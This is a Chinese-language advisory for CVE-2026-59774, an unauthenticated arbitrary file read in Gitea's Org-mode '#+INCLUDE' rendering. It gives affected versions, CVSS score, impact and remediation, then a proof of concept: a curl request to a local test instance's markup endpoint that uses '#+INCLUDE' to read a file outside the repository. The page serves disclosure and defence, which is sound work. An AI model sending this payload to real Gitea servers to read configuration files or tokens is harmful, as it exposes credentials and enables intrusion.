CVE-2026-59774
- Gitea - Org-mode
#+INCLUDE未授权任意文件读取,可进一步导致远程代码执行 - 影响版本
- 官方安全公告的受影响范围:
1.22 < 1.27.1 - 公告详情明确列出:
1.22.1至1.27.0
- 官方安全公告的受影响范围:
- 修复版本:
1.27.1 - 严重性:Critical,CVSS 3.1
9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - 攻击条件
- 攻击者无需认证
- 目标需要存在可公开读取、且启用代码单元的仓库
- 攻击者通过仓库的 Org-mode markup 渲染入口提交包含
#+INCLUDE的内容
- 影响
- 可读取 Gitea 服务账号有权限访问的任意文件
- 可能暴露
app.ini、内部 token、OAuth/JWT 材料和部署信息 - 在满足额外文件权限与配置条件时,可进一步以 Gitea 服务账号执行代码
- 处理
- 升级到 Gitea
1.27.1或更高版本 - 无法立即升级时,限制公开仓库的 markup 渲染入口,并检查 Gitea 服务账号可读取的配置和密钥
- 升级后轮换可能暴露的内部 token、OAuth/JWT 密钥及其他凭据,并检查异常访问日志
- 升级到 Gitea
- CWE:CWE-22(路径遍历)
PoC
- 文件读取演示:让 Org-mode 渲染器读出仓库外的自建标记文件
- 准备本地 Gitea 测试实例及公开仓库
demo/public-repo,开启仓库代码单元 - 在 Gitea 进程所在的文件系统中创建标记文件;容器部署时需要在容器内创建,并确保服务账号可读
printf '%s\n' 'GITEA-CVE-2026-59774-DEMO' > /tmp/gitea-poc-marker.txt
- 向本地实例提交 Org-mode 内容,
file_path的.org后缀用于选择渲染器
curl -sS 'http://127.0.0.1:3000/demo/public-repo/markup' \
--data-urlencode 'mode=file' \
--data-urlencode 'file_path=demo.org' \
--data-urlencode 'text=#+INCLUDE: "/tmp/gitea-poc-marker.txt" src text'
- 关键现象:返回的渲染内容出现
GITEA-CVE-2026-59774-DEMO,表明请求读到了仓库之外的服务端文件 - 仅 HTTP 200 不能判定漏洞;路径、权限、仓库状态和渲染结果需要一起核对
- 该示例验证任意文件读取这一环;完整远程代码执行链还需要额外条件
projectdiscovery/nuclei-templates提供对应检测模板,包含公开仓库定位和文件读取请求
参考
- Gitea 安全公告 GHSA-6v53-hr58-556r
- Gitea 1.27.1 发布说明
- CVE-2026-59774 - CVE.org
- projectdiscovery/nuclei-templates
- MIT, JavaScript, YAML, Nuclei
- CVE-2026-59774 模板 - 验证未认证文件读取,不验证后续 RCE 链